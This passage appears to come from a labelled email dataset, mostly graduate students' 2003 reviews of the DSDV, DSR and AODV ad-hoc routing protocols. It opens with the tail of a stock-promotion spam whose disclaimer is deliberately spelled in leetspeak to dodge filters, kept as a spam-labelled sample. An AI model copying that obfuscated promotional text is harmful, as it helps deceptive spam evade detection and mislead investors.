agr33ments ab0ve may not be def1n1t1ve and may not 0ccur. A f4i|ure to finance c0uld c4use the company to go out of bus1n3ss. This rep0rt sha|| not be c0nstrued as any k1nd of 1nvestment advice 0r s0|1c1t4t1on. Y0u c4n l0se 4ll y0ur m0n3y by 1nv3st1ng 1n th1s st0ck.",1,0 Krzysztof Ostrowski ,egs+615@cs.cornell.edu,"Tue, 02 Sep 2003 03:07:40 -0400",615 PAPER 1," The Destination-Sequenced Distance-Vector (DSDV) routing algorithm is one of many algorithms based on the distributed version of Bellman-Ford shortest-path algorithm (DBF). Like in the RIP internet routing protocol, and unlike in ""link-state"" methods, each node maintains information only about the distance (number of ""hops"") and ""next hop"" on a way to every known destination and information about current network topology and current routes is distributed over the set of communicating nodes. Unlike in methods based on ""source-routing"", route for each individual data packet is being dynamically constructed while the packet is in transit. Formation of loops, a common issue with distance-vector algorithms, is avoided by introducing ""route sequence numbers"", generated by destination nodes when broadcasting route tables. Sequence numbers are associated with routes leading to a given destination by nodes receiving such broadcasted route tables, and such routes are further propagated to the rest of the ad-hoc network in the usual way. A restriction is placed on updates to routing tables that routes with higher sequence numbers are always preferred over routes with lower numbers. This ensures that stale information will never override fresh routing data. It can be proven that this restriction, combined with the usual DBF assumption that of every two equally fresh routes the one with smaller number of hops is preferred, makes it impossible even for short-term loops to emerge. This method of avoiding loops is not only much simpler, and therefore more likely to be applied than any earlier methods based on some sort of internodal coordination, but also likely to prove faster and less expensive, and therefore more suitable to apply in environments where changes in topology are very frequent. At the same time, the total size of routing tables is linear with the number of nodes, like in RIP and unlike in other routing algorithms known at that time. Another major contribution of DSDV is introducing dynamically computed ""route settling time"", representing an estimate of time required for new routing information arriving at a given node to stabilize. Re-broadcasts of updated routes are delayed, thus helping to avoid flooding of the network and rapid fluctuations in route tables. Other novel ideas include maintaining separate routing tables for data packet forwarding and for route re-broadcasting (so as to avoid situations where new routing information arriving to a given node from different directions triggers a burst of new route propagations). Broken links are handled in the usual way by propagating ""negative"" information. The way sequence numbers are chosen ensures that broken link data always overrides stale route data while always being overridden by newly discovered routes. The Dynamic Source Routing (DSR) algorithm is similar to link-state methods in that nodes attempt to acquire full information about the current state of network connectivity. Routes can then be calculated locally (using a traditional shortest path algorithm) and therefore are loop-free. Like in the source routing technique known from wired networks, packets have routes pre-determined at the time they are sent by the source and cannot change while packets are in transit. Unlike in DSDV, or in other distance-vector or link-state methods, however, routing information is not gathered and propagated periodically in a distributed fashion, but rather obtained on-demand, when it is needed by a node willing to send a data packet, which helps to reduce control overhead (a) in periods when changes in topology are less frequent, and (b) in situations where some of nodes do not need to communicate and therefore do not need routing information. Obtaining routing information is performed via a ""route discovery"" algorithm, essentially flooding the newtork with a request (in a way somewhat analogous to breadth-first search, with a list of visited nodes included in the request so as to avoid duplicates and loops) that is ultimately picked up by destination and results in a response sent back to the sender. When destination does not have the route to the sender, it performs its own route discovery, piggybacking response on its own route request (so that the source will ultimately receive the response, update its routing information and reply to the destination using its newly acquired routing data). All routes are cached, and hence an intermediate node may reply to route discovery request without the need for contacting the destination (as long as its route, combined with route from source stored in the request, does not form a loop). An interesting property of this algorithm is the ability to effectively use the ""promiscuous mode"" of some wireless networks interfaces. Since routing requests contain partial routing information, other nodes overhearing them may use it to update their own routing tables. Broken-link discovery in DSR (based on passive, hop-by-hop or timeout-driven, explicitly requested acknowledgement) is efficiently handled by propagation of error packets along the affected cached routes. A major issue with DSR arises when network becomes partitioned, resulting in repeated route requests. While DSR is superior to DSDV in periods of stability in that it does not involve any control overhead, in the situation described above it will keep consuming bandwidth while traditional DBF-based methods will quickly remove navailable nodes from their routing tables. As a solution, a back-off mechanism is used. Another issue with DSR is its space complexity, naturally limiting its scalability, and this includes cached routes, lists of of recently forwarded requests etc. as well as visited nodes in requests. The Ad-hoc On-Demand Distance Vector (AODV) algorithm combines ideas from DSDV and DSR. Like in DSR, routes are acquired on demand via flooding the network with route requests that eventually reach the destination, acquired information is cached, therefore there are no periodic network-wide broadcasts and nodes that do not need to send, receive or relay messages need not participate in the algorithm and the control overhead can be kept fairly low. Unlike in DSR, however, and somewhat like in distance-vector algorithms, no node maintains complete routing information, route table entries for paths from sources to destinations are dynamically established and kept in intermediate nodes in a distributed way (on a hop-by-hop basis). While intermediate nodes forward a route request sent by source, they build a distributed tree pointing backwards to the source. A response is traveling back to the source along a path in the tree, intermediate nodes forwarding it setup entries in their routing tables to form a distributed routing path pointing forward from the source to the destination and any nodes that are not lying on the path use timeout to remove the unnecessary data structures. In order to keep latency in reasonable limits, intermediate nodes are allowed to reply if they already contain routing information for a given destination. Since this might introduce loops, the idea of sequence numbers was borrowed from DSDV to guarantee that routes are loop-free. Every request or response sent gets a new sequence number and those numbers are recorded on path in the routing tables in all the intermediate nodes. Source node also includes last known destination sequence number in its routing request and intermediate nodes are not allowed to reply to this request if destination sequence numbers in their tables are smaller that the number requested by source. An argument similar to the one used in proving loop-free property of DSDV (using the fact that sequence numbers on a path to destination are non-decreasing) can then be applied to prove that no loops can emerge. Unlike DSDV and DSR, AODV has relatively small memory requirements since only information about actively used routes is stored. A route maintenance algorithm including locally broadcast hello messages (to monitor local connectivity), expiration timers for cached routes and route requests, measuring times since last packets were received from all neighboring nodes are used to keep track of active nodes, hops and routes. Stale routes are quickly deleted. Information about broken links is propagated along the active routes, routes are truncated and source nodes resend route request to re-establish connectivity. Also, any changes in routes to destinations resulting e.g. from node movements are propagated directly to sources along active paths. Simulations show that AODV can scale to hundreds of nodes while keeping goodput ratio of up to 80-90%, with only 10-30% bandwidth overhead and latencies within 200-500ms. ",0,0 Gennady ,egs@cs.cornell.edu,"Tue, 02 Sep 2003 00:08:31 -0700",615 PAPER 1,"This paper describes possibly the first self-organizing (although I'm not quite sure) ad-hock network. The need of a highly-mobile, robust, reliable and highly-efficient computer network in the field (for military applications) has initiated DARPA to sponsor research and development of Packet Radio Network (PRNET). The big advantage of PRNET is the mobility (wireless), quick deployment, and ease of reconfiguration. The self-configuration allows nodes to function as an autonomous group by joining/leaving the network due to changes in network topolgy. PRNET uses multi-hop for packet routing. On the down side, the inability to send and receive at the same time (an inherited property of broadcasting), therefore PRNET implemented a scheduling scheme, Carries Sense Multiple Access (CSMA). This paper is pointing out that performance will likely to suffer due to large neighborhoods but with out specifying on how big is ""large"" (my assumption is more then 50 PR nodes, since paper suggest the network size of about 50 PR nodes). Also this paper does not give the explanation of the limit of PR nodes is 138 (is it due to congestion, fast queue growth, etc...). This paper is lacking implementation detail how quality values being dammpred. The paper does not mention the scalability of this system (with a little exception of mentioning that there is a research in progress with algorithms that would allow thousands of nodes, again no specifics). Obviouslythis protocol could benefit by allowing more clients and better performance (assuming for more then 50 clients, most likely to congestion, or possibly an out-of bounds queue growth). This project would also benefit by increasing the limit to handle more then 16 neighbors. My personal thought that this research project was a major contribution to the wireless communications. - Gennady Staskevich __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com ",0,1 Hitesh Ballani ,egs+615@cs.cornell.edu,"Tue, 02 Sep 2003 09:37:58 -0400",615 PAPER 1,"The first paper discusses the DSDV Routing, a modification of the DV routing algorithm which ensures loop free routes and as far as I can infer, solves the count to infinity problem.While each node has a routing table giving the next hop for all the nodes in the network, the most important modification in this is the inclusion of sequence numbers issued by the destination itself( unless the link is broken in which case it is issued by the intermediate node and is odd). This allows a node to differentiate between old and new updates leading to avoidance of stale and loop free routes.Also, a node need not send out it's table ( full dump ) each time it advertises, an incremental dump of the changed sequence numbers and metrics suffices most of the time. Besides,the dynamic nature of the network necessitates a dampening of the fluctuations which is done by keeping information about settling times in the table and delaying sequence number change, etc. advertisements until after the delay time expires( although broken links are announced immediately). For loop freeness it uses the concept of the sink tree - formed using the next hop indicator's for a particular destination. In this tree, as we go up from the leaves to the root, the sequence number is non- decreasing. But for a loop to exist, a node must loop back to a node with lesser or equal sequence number, so the only common criteria is that the 2 nodes should have equal sequence number's, in which case the lower metric condition ensures that no loop is formed. While the concepts of sequence numbers and dampening seem to be very exciting but evidence for the same is needed. And I feel that despite all their efforts the algorithm will still have a convergence time on the higher side, especially if the network is very dynamic and is of a large size . A good idea during simulation would be to determine the actual effects of dampening on b/w utilization and convergence. And then there is the issue of scalability. The second paper discusses the DSR algorithm which is a source routing technique adapted for wireless networks. It scores over conventional routing protocols like DV as it is reactive and hence does not require periodic broadcasting of advertisements. Since it is the source that provides the path to the destination so each node maintains a route cache and if the desired route is not in the cache, it is obtained using a route discovery protocol - the reply for which may come from the destination or an intermediate node's cache. And since there are no periodic updates to monitor missing links, so it is the route maintenance procedure that monitor's the operation of the route and informs of routing errors. It also has a number of optimizations such as the replies from the cache, delays in the response to avoid congestion and sending non-propagating requests. There is also piggybacking, not only in route replies/errors but also route discoveries, and promiscuous mode pick up of errors. The loop avoidance in this case is simplified by the fact that it is a source routing protocol, so the source can check for loops in the route. And the formation of loops when hosts reply using their cache - i.e replies formed using the route record and the cache entry is checked for by the individual hosts sending the reply. One of the positive aspects of the protocol is that they have not assumed the bi-directionality of the links. However the simulations have been run for a small number of nodes and a small number of hosts (linearly scalable) and is full of variables whose values seem to have been chosen arbitrarily. Laying out these variables and defining their effect on the performance could be the next step. Besides, security is an aspect that has not been in both these papers- the fact that the piggybacked route discovery is spoofed by an intermediate node replying from it's cache could be dangerous. The third paper discusses the AODV, which could be termed as a hybrid routing protocol as it couples reactive features such as dynamically obtaining information for routes on demand with proactive features such as HELLO messages to get local information. It is a variation of the DV routing protocol - so each node knows just the next hop for a destination but the variation here is that this information is maintained only for active routes, i.e. routes that have been demanded. As in source routing, routes are obtained through path discovery only when a packet has to be sent, but the entire path is not specified by the source which could be a big plus in large networks. Summarily, the protocol has RREQ's (route requests) - to request for routes, RREP's ( route replies ) - as replies from intermediate/destination nodes and HELLO messages or local broadcasts for neighbour discovery. Hence, when a route is demanded, a RREQ is sent by the source to it's neighbours and so on, each of which maintains information about the reverse path while forwarding the request until some node with a higher sequence number for that destination replies which is sent along the remembered reverse route. Also, it uses the concept of sequence number's in order to maintain most recent routing information between nodes and ensure loop-freeness - as the sequence number's cannot decrease along an active path, so the existence of a loop would violate the property that for the same sequence number, the path with a shorter metric is preferred. And while the authors must be commended for the scalability and the fact that they have tried to determine the optimal value of the different parameters instead of some magic numbers, but the simulation scenario has a lot of randomness, not necessarily present in a real system. Besides, since the protocol seems to be a combination of the better halves of the DSDV and the DSR, figures comparing the three and bringing out empirical evidence for the superiority of the AODV would have been nice. ",0,0 Bernard Wong ,egs+615@cs.cornell.edu,"Tue, 02 Sep 2003 10:24:11 -0400",615 PAPER 1,"DSDV: The paper ""Highly Dynamic Destination-Sequenced Distance-Vector Routing (DSDV) for Mobile Computers"" introduces the use of sequence numbers to adapt the traditional Distributed Bellman-Ford (DBF) algorithm for use in an ad-hoc network. The problem of using DBF in an ad-hoc network is the formation of both short-lived and long-lived loops, both of which are possible due to stale routing information being present in the routing table of each node caused by movement of the nodes. DSDV introduces a monotonically increasing sequence number created for each of its routes by the destination node, which is used in determining whether a received update is fresh or stale. As DSDV will always choose the shortest path update from the set of updates that contain the largest sequence number, routing loops are avoided without the need for internodal coordination. DSDV works by requiring each node to broadcast to its current neighbors its routing table, which consists of the destination node, the next hop node, the distance metric, the sequence number, and other path related data. As each node receives this broadcast, it will update its own routing table given that the sequence number is larger or that the sequence number has not changed but the distance metric has been reduced. Transmitting packets is accomplished by having each of the next hop nodes on the route forward the packets along on behave of the source node. DSDV's main weakness is its high bandwidth usage. Periodic updates sent by each individual node might not be that bandwidth intensive given a reasonably large period and modest nodal movement. However, each time nodal movement is sufficiently large such that the path distances between nodes are changed, the channel may be flooded as updates are triggered due to the path length changes. Power usage is also significant as each node regardless of whether the network is being used sends the periodic updates. This can be especially damaging if the periodic updates interferes with the power management of the wireless devices (i.e. prevents the device from entering sleep mode). DSR: The Dynamic Source Routing (DSR) protocol was designed to eliminate the need for nodes to periodically send updates to other nodes. This greatly eliminates the bandwidth and power issues associated with Distributed Bellman-Ford (DBF) based protocols, as bandwidth and power is only consumed when there is actual network traffic. Furthermore, DBF based protocols require each node to know the distance to every other node, which is normally unnecessary and increases the size of the routing updates. In DSR, routes are discovered as they are needed. DSR works by having the sender include the complete sequence of nodes through which to forward the packet from the source to the destination inside the packet's header. If a route to the destination node is not known, a route discovery protocol is initiated. The route discovery protocol works by having a route request packet broadcasted by the sender. If a node other than the desired destination node receives this request for the first time, the request is modified by having the node sequence appended with the current host and the request is re-broadcasted. When the destination node receives the route request, a route reply is sent back with a copy of the route from the route request packet. Routing loops can be avoided by discarding route requests where the host's address is already listed in the route record, as this guarantees that no single copy of the request will propagate in a loop. A weakness in the DSR protocol is its dependence on including the entire node sequence in the packet header. This can lead to scaling issues as the size of the ad-hoc network increases, where the header size may become excessively large thereby reducing the efficiency of the channel. The is further accentuated by the fact that many wireless devices have a relatively small Maximum Transmission Unit (MTU) size compared with wired network devices in order to reduce latency. Another weakness is the increased route acquisition latency compared to DBF based protocols, as data packets can no longer be sent until the route discovery protocol completes. A result of using a node discovery protocol instead of using periodic update advertisement is the inability to know which nodes are currently operational on the network. Only by sending a packet to a targeted host or by promiscuously listening to packet traffic can DSR determine which hosts are currently in the network. This can become a problem if a user node enters a foreign network and do not know what other nodes are on this network. AODV: The paper ""Ad-hoc On-Demand Distance Vector (AODV) Routing"" introduces a distance vector routing algorithm that does not require global periodic advertisements of routing updates. Instead, a broadcast route discovery mechanism similar to the one found in Dynamic Source Routing (DSR) is used. However, unlike DSR, AODV relies on dynamically establishing route table entries at the forwarding nodes, which removes the need to store the entire sequence of nodes for a particular route in the packet header. In order to achieve loop-free routing while relying on routing information found in the forwarding nodes, the concept of the destination sequence number is borrowed from Destination-Sequenced Distance Vector (DSDV) routing. Therefore, similar to DSDV, route information of a forwarding node is only updated when it receives a route reply packet where either the destination sequence number is larger than the previously recorded number or the destination sequence number is the same as the recorded number but the path length is smaller. The operation of AODV is as follows: If a route from a source node to a destination node is unknown, a path discovery process is initiated. A route request packet is sent to its neighbors, where each neighbor either sends a route reply back to the source or rebroadcasts the route request. As the route request packet travels from source to destination, a reverse path route is created in the forwarding nodes, and similarly, a forward path route is created by the request reply. Once the route is known, then a data packet can simply be broadcasted from the source node with the desired destination node set in the header, and the packet should be routed correctly through the forwarding nodes to the destination node, given the nodes configuration has remained the same since the last path discovery. A potential weakness of AODV is the flooding of route requests that can occur during path discovery. Without the promiscuously snooping of packets and random reply delays as is done by DSR, a route request can be re-broadcasted over multiple hops even if a cached route was quickly found in the first hop from another node. Implementing either promiscuous snooping of packets or a multi-level and multi-try route request (i.e. first attempt allows for maximum of one hop, second attempt allows for two hops, etc.) can be used to overcome this weakness. Bernard Wong ",0,0 Biswanath Panda ,egs@cs.cornell.edu,"Tue, 02 Sep 2003 10:26:13 -0400",615 Paper 1,"Summary on ""Highly Dynamic Destination-Sequenced Distance-Vector Routing (DSDV) for Mobile Computers"" This paper provides a new approach to the classic Distance Vector Routing Protocol and makes it suitable to use in a ad-hoc environment. This is a proactive routing protocol. Like in Distance Vector Routing each station of the network maintains a routing table which contains the path to each other station in the network. In order to take care of the dynamically varying topology of the ad-hoc network routing updates are transmitted periodically by all stations to their neighbours(This period is calculated based on a metric which takes into account the time difference between the first and best route arrivals for a station). Updates are also sent if there is substantial change in a route like a broken link(the ""inf"" metric symbolizes such change in the route) The updates contain the sequence number of the update from the sender, the destination address, number of hops, and the sequence number of this route as stamped by the destination. These updates enable stations to modify and keep their routing tables up-to-date. When station receives an update it sees if there are any routes with newer sequence numbers or better metrics. The policy of choosing paths with better metrics when seq number is same may cause route fluctuations at an alarming rate. Therefore the protocol takes extra care to damp these fluctuations. The protocol is loop free because the next node indicators to each destination induce a tree rooted at that destination. When a node i receives an update from k regarding the path to x, the path can be something like x........ki. Now x starts the broadcast with a seq no. 's'. This 's' increases as we go towards i. i chooses k as next hop only if current seq number is less than s. For i to form loop in the next hop it has to choose a node from x.....k, which is not possible as they have sequence numbers lower than current sequence number at i. The paper does not mention clearly how the sequence are created and incremented. This makes understanding the proof of the protocol being loop free difficult and unclear. The paper basically talks about a modified distance vector routing protocol but gives no idea as to why it works better in an ad-hoc environment. There are no results to show that the protocol works better in an adhoc environment as compared to the standard Dist Vector Algo. Future work is to simulate results based on this protocol. ",0,0 """Unrecognized person: de46"" ",egs+615@cs.cornell.edu,"Tue, 02 Sep 2003 10:37:19 -0400",615 PAPER 1,"# Highly Dynamic Destination-Sequenced Distance-Vector Routing (DSDV) for Mobile Computers # The DSDV is designed basically as a Distance Vector (DV) algorithm with some additions to make it more suitable for ad hoc networks. The most important addition is the usage of sequence numbers (published by ""destination"") to avoid loops. The main reason of loops in a DV protocol is updating routing tables based on incorrect (old) information. However, by giving a number to each update packet, hosts can determine which packets are up-to-date and which are not. These numbers are given in a sequence way. On every update advertisement for an active link, the sequence number is incremented and only even numbers can be used. If a broken link is occurred, the sequence number is incremented to make it an odd number. By using the sequence numbers routing tables can be updated in two situations: 1) Using update information with a newer (grater) number, which indicates that the new information is more up-to-date. 2) Using update information with the same sequence number but with a better metric. As a result, hosts use only the most up-to-date information and do not update their routing tables wrongly. Secondly, besides full dumps, routing information packages can also be broadcasted as incremental dumps, which decrease the amount of broadcasted packets in certain situations. Moreover, the DSDV allows immediate route advertisement to decrease the reaction time. On the other hand hosts can delay such advertisements to avoid fluctuations, which can occur because of multiple advertisements from its neighbors. Due to the above-mentioned properties DSDV can be considered as a simple, loop free protocol for ad hoc networks. However, distribution of route information to the whole network may produce unused route information. How DSDV ensures that routes are loop-free? Since DSDV is DV protocol every node has route information to other nodes in the network via its neighbors. >From this point of view the whole network can be seen as a directed tree. First, lets assume that the network is stable. At this point a change in the topology is required to form a loop. There are two possible situations, which can lead a change in routing tables. 1) By a broken link to a neighbor. It is obvious that a broken link cannot form a loop in a directed tree, because only the next hope will be set to nil. 2) By changing the next hope of an existing route to a different neighbor. As mentioned above, there are two possible situations that can lead an update in a routing table. -By receiving a packet with a grater sequence number. Lets assume that host i gets such an update information from its neighbor k about a route to host j. In this situation i will chose its next hope as k and sends its packets over k to reach j. In order to form a loop, the route from k to j has to include i, which implies that the k cannot has a greater (newer) sequence number without the knowledge of i. As a result, if k sends its packets over i, it cannot have a greater sequence number than i, which contradicts with the first assumption. -By receiving a packet with an equal sequence number but with a better metric. According to the theorem proved by Jaffe and Moss (A responsive distributed algorithm for computer networks) the paths do not form loops when weights changes. # Dynamic Source Routing (DSR) in Ad Hoc Wireless Networks # One weak side of the Distance Vector (DV) algorithms for Ad Hoc networks is the periodic broadcasts to update routing tables. These periodic broadcasts can have negative effects over the limited resources (power, memory, CPU, etc.) of the mobile hosts. Because of this reason DSR proposes a different route finding technique based on dynamic source routing. Here, the sender of a packet defines the destination in a dynamic way called “route discovery” or by using route cache. At the route discovery, a route is dynamically constructed using broadcast messages. When a broadcast message reaches to the destination a “route reply” message (containing the “record of the route”) is sent to the initiator. The route to the initiator can be obtained in three ways: 1)From the cache of the destination, 2)By reversing the route in the route discovery packet. However, this requires bi-directional communication, which may not be possible. 3)By sending the route reply attached to a route discovery packet targeting the initiator. Moreover, multiple route discovery messages are avoided using initiator address and request id. When the route information is obtained it is placed into the header of packets for the routing. This technique not only decreases the usage of resources but also propose a more flexible way compared to DV to adapt itself to possible topology changes. Besides the route discovery technique, “route maintenance” is used to detect the errors in a route without the usage of periodic broadcasts. When an error is detected the host sends a “route error” packet and the routes are truncated. The route error package can be sent using by the three above-mentioned techniques, which are used for route reply packets. Additionally, the error message can be buffered and then another route discovery can be implemented to send the route error packet. Some optimizations are implemented to develop the overall performance DSR. The most important one is the usage of caches to complete route information before the broadcast reaches to the target. If a host has an active route to the destination it can append the later part of the route from its cache instead of another broadcast. However, there can be more than one reply, which can cause problems like collision. In order to avoid this problem, hosts delay their replies and listen the network for a better route. If a better route cannot be found the route reply is transmitted. Another optimization for the caches is the usage of hop numbers. By these numbers the unnecessary propagation of route request packets can be avoided. There are other optimizations for error handling mechanisms, as well. First of all, route discovery messages are controlled to decrease the overhead that they can bring in a portioned network. Moreover, hosts can listen the network for error messages to update their route caches. Another optimization is used to inform relevant hosts about errors if the route error packet comes from a different way then the route discovery packet. How DSR ensures that routes are loop-free? Possible situations that can form a loop are analyzed below. 1) route request messages can create a loop. By the help of initiator address and requet_id information, hosts descards multiple route requests, which avoids the formation of a loop. 2) route reply messages can create a loop. These packets can form a loop if their route is completed using a route cache. However, this problem is avoided by an optimization. A host appends a route using its cache after checking whether it forms a loop or not. # Ad hoc On Demand Distance Vector Routing # AODV combines the dynamic source routing of the DSR and the sequence number technique of the DSDV. To find the route first the source node broadcasts a route request (RREQ) packet containing: broadcast_id, source sequence number, destination sequence number. Broadcast_id is used to avoid redundant broadcasts. Sequence numbers are used to indicate the freshness of the routes to the source and to the destination. During the travel of the packet to the destination the “reverse path” (route to source) information is gathered. When the broadcast packet reaches to the destination or to a node that can complete the path a route reply (RREP) message is sent back to the source. During the travel of RREP the route back to the destination is constructed. There may be other nodes, which are not in the path of the RREP. These nodes’ reverse pointer will be deleted after a certain period of time. If further RREPs come, these messages will be taken into consideration regarding their destination sequence number. The source host starts the communication as soon as it gets the first RREP, if other RREPs come, the route can be updated. AODV also checks the activeness of paths. A host can learn its neighbor’s situation from both broadcast messages and from hello messages, which are just sent to neighbors. If a broken link is detected a special RREP is sent to the related hosts. Then a new RREQ can be sent by the hosts, which want to communicate to the destination. In routing tables other information can also be stored to increase the efficiency of the AODV, like the list of active neighbors. As a result AODV uses bandwidth effectively and can adapt itself to topology changes quicker than the DSDV. Furthermore, since it is a DV algorithm, it uses the advantages of complete routing tables during route cache. Last, route information is only gathered when there is a demand, which avoids production of unnecessary route information. On the other hand it uses symmetric links between neighbors, which may not be possible in every situation. How AODV ensures that routes are loop-free? Since the routes have destination sequence numbers it is impossible to form loops in AODV. Lets assume that a loop is formed between the nodes X1 -> X2 -> .... -> XN -> X1... If we take Ti as the sequence number for the route of Xi, then we will come up with T1 <= T2 <= .... <= T(n - 1) <= Tn <= T1, which implies that all Ti values are equal. If the Ti values are equal then they must be all set with same PREP. And lets take Mi as the metric to the destination for host Xi. Because of the loop, the relation between the Mi values should be like Mi = M(i + 1) + 1, which implies that M1 = Mn + (n - 1) and Mn = M1 + 1. Therefore n must zero, which is impossible under the usage of same PREP. DOGAN FAMER ENGIN",0,0 Fawaz Khalil Allahwala ,egs+615@cs.cornell.edu,"Tue, 02 Sep 2003 10:50:32 -0400",615 PAPER 1,"AODV Each host operates as a specialized router. Routes are obtained on demand with little or no reliance on periodic advertisement. Nodes do not discover or maintain the routes about the other unless they have to communicate with each other. It uses hello broadcast to be aware of its neighborhood. Instead of source routing the AODC relies on dynamically establishing route table entries at intermediate nodes. In order to maintain a loop free topology it makes uses of monotonically increasing sequence numbers which is a counter to supersede stale values so same node is never used twice in a route. The protocol depends on bidirectional links but the paper also mentions that its certain modifications to the algorithm can make this requirement unnecessary Algorithm: When a node needs to communicate to another node not directly in its neighborhood (neighborhood is discovered using broadcast hello so its trivial) its sends a RREQ message with a unique ",egs+615@cs.cornell.edu,"Tue, 02 Sep 2003 11:29:14 -0400",615 PAPER 1," DSDV is an improvement to prior distance vector algorithms that eliminates the possibility of both short- and long-term routing loops and is tailored for use in (possibly) rapidly changing ad-hoc networks. A routing table is kept by each node and is updated through both periodic and change-triggered broadcast messages. Every node is aware of the lowest recent ""cost"" (usually the measured by the number of hops) of routing a message to each other node, and through which of its neighbors it must send a packet destined for that node in order to realize that cost (that node will consult its own table when it needs handle the packet). A node broadcasts to its neighbors the cost, for each node in the network, of routing a message first through itself and then through its own best known route to that node. Its neighbors will then decide, on a destination-by-destination basis, if an advertised route they have received is preferable to the one (if any) that they already know, and replace the old route if necessary. Thus, the chain of events to form the routing tables begins by each node advertising that it can reach itself without any cost to its neighbors; followed by each of its neighbors telling each of their neighbors that they can reach the original node with, say, a cost of one (hop), and so on. Excessively rapid propagation of changing routes is mitigated by a delay at each node to smooth out transient fluctuations (by attempting to assure that a better route is not received shortly after a worse one has been broadcast); however, notification that a link to a node has been broken, and that packets can no longer be routed to or through it, is disseminated immediately. Loops are avoided by a special ordering of routes used in determining which of two routes is ""better"" (only the ""best"" route is kept). Each route was assigned a serial number, increasing with time, by the target node that advertised a route to itself (which began the chain of propagation), and that serial number is preserved as the information is propagated and modified by each node. Serial numbers are only interpreted in the context of their particular destination node and are only generated for that node by that node, so synchronization is unnecessary. The route with the highest sequence number (even if another is less costly) is always preferred, because the newest information reflects the latest topology; but in the event of a sequence number tie, the ""cheapest"" route wins (which occurs when the same broadcast was routed through two different paths, one of which was less costly). Loops cannot be completed for a route to destination D because a proposed link from node A to node B that would complete a loop would either need to have a higher sequence number or be cheaper than the previous link out of node A, to be accepted by A. However, since this would create a loop, B's route to D that it is advertising to A is already through A. Broadcasts pertaining to a route travel backwards along the route being discovered, starting at the source, and sequence numbers are not incremented as they are propagated. Thus, A must already have seen and propagated the broadcast being set back to it from B, and B must have received it as a consequence of A's forwarding. Therefore, its sequence number will be the same as or lesser than that of A's current route (because it has already been ""seen"" by A), but a greater cost (because its path is a concatenation of A's current path to D and a path from B to A). Thus it can have neither a greater sequence number, nor a lesser cost, than A's present route, and will never replace it to create a loop. DSR is an alternative ad-hoc network routing protocol that is quite different from DSDV. One difference is that DSDV maintains and discovers routes whether or not they are used, while DSR only attempts to discover a particular route when it is needed. Another difference is that DSR tolerates one-way links. A third contrast is that while DSDV relies on each node along a route to decide how next to forward a packet, the source in DSR affixes a predetermined route to each packet, and nodes examine this route to look up the next hop for that packet (""source routing""). When a host wishes to send a packet to a certain destination, it first checks to see if it has a recently cached route for that destination. If not, it broadcasts a route request packet to its neighbors for the target node. Its neighbors propagate the request, but only once per query (to avoid saturating the network unnecessarily); when they forward the request packet, they append their node identification to the packet. Thus, in the process of being propagated, each copy of the request packet accumulates the path it took to get to the node where it is stored at any particular moment. Once a copy arrives at the target node, it contains a complete and verified, working path from source to target. The target then labels the packet as a route reply packet and attempts to return it to the source, either by specifying an already-known route from target back to source and forwarding it to the first intermediate node, by assuming each link is bidirectional and reversing the route, or by performing a route discovery flood for the reverse route using a special packet that also contains a copy of the route reply. Routes can be invalidated by a cache timeout procedure. Alternatively, the kth node may promiscuously listen for the k+1st node in the chain to forward the packet on to the k+2th node, which passively acknowledges that the k+1st node has received the packet; if no such event is heard, then node k+1 is presumed to be unreachable. There are several optimizations which include intermediate nodes being able to answer a request directly from their caches using route concatenation, and nodes listening promiscuously for shortcuts (eliminating intermediate nodes when two nodes can hear each other). Once a route is found, it is prefixed to each data packet and each node along the path uses this information to forward the data packet appropriately. Loops cannot form because once a node has forwarded a particular route request once (and appended itself to the encapsulated route), it remembers that request and will not forward it again (thus it cannot add itself twice to the route). AODV combines the on-demand-only nature of DSR (i.e. routes are only found when they are needed, avoiding unneeded maintenance overhead) with the local-view-only nature of DSDV (i.e. each node needs only to maintain information about its neighbors, not a complete route or any other such global information about the network). When a route is needed in AODV, a route request packet is flooded across the network, as in DSR. However, the packet contains information (a sequence number) about the last known route to the destination, so that caching can be exploited (i.e. an intermediate node can respond immediately to advertise a route it already knows) without the source receiving out-of-date information it already has. Also unlike DSR, the packet is not annotated with a list of nodes it has travelled through (global information), but only by a incremented hop count; each node that forwards the request remembers the node from which it received the request, establishing local knowledge about the route in each node along the path. Thus, if the request succeeds, each node knows how to return the reply by unicast (by sending it to the node from which it received the route request broadcast and assuming two-way links). Requests can succeed when they arrive at the destination, or when they arrive at a node that has a newer route to the destination than the source does, in its cache (and can thus advertise that route without further investigation). When either of these events occurs, the node that has fulfilled the request stops propagating its copy and unicasts a reply via the reverse route. As the reply is forwarded, each node along the path stores the identity of the previous sender, establishing the next hop from that recipient in the forward route. Each node takes two steps to mitigate excessive packets: first, it only forwards a particular request once; and second, it only returns a reply if it is the first reply known to it, if it has a greater sequence number than previous replies to the same request known to it, or if it has the same sequence number as but a shorter number of hops than the other routes it has seen. Viable routes are used as soon as they are found, and better routes supplant them if they are discovered later. Another overhead-reducing optimization is the fact that request packets establish a route back to the source, thus finding a second route at the same time, for ""free,"" that not only can be used to return the route reply packet, but also to send data packets. Each node also takes steps to maintain the on-demand properties of the algorithm. Specifically, nodes that are part of a route keep track of what neighbors are actively using the route; they notify only those nodes that have used a route recently if they become aware of a change in the route. For instance, when a link fails, they immediately create an unsolicited route reply with a higher sequence number and an infinite hop count, but only send this to active upstream neighbors; nodes not known to be interested in the route are not kept appraised of changes. Loops in AODV are avoided in exactly the same way by which they are avoided in DSDV: serial number and hop count ordering make it impossible for a node to prefer a route that already includes itself. ",0,0 Vidya Venkataraman ,egs+615@cs.cornell.edu,"Tue, 02 Sep 2003 11:33:42 -0400",615 PAPER 1,"Dynamic Source Routing (DSR) Operation: The paper describes a purely on-demand routing protocol for ad hoc wireless networks called the Dynamic Source Routing protocol. The protocol does not employ periodic updates for the nodes to keep track of routes, hence it saves on bandwidth and power. Route discovery process is initiated by the sender host when it needs to send packets to another host. Accordingly the sender initiating a route broadcasts a Route Request packet which may be received by nodes that are within the transmission range of the former. The Route Request packets contain apart from the addresses of the sender and the destination, a route record in which the sequence of hops traversed by the Route Request packet is stored. A node that receives the Route Request packet drops it if the node had previously received a Route Request with the same source address and request ID or if the node's address is already listed in the route record. Thus the route record is helpful in avoiding looping. After this check, the node sees whether it is the target node of the route request packet. If it is, then it sends the route obtained by the Route Request packet back to the sender node via a Route Reply packet. If the node is not the destination node, it appends its own address to the route record and rebroadcasts the packet. The Route Reply is sent through the same route as the Route Request packet had traversed if the network contains bidirectional links. Otherwise the Route Reply is piggybacked on to a Route Request packet (targeted to the source node) and broadcast by the destination node (this method has been adopted by the authors). Once the 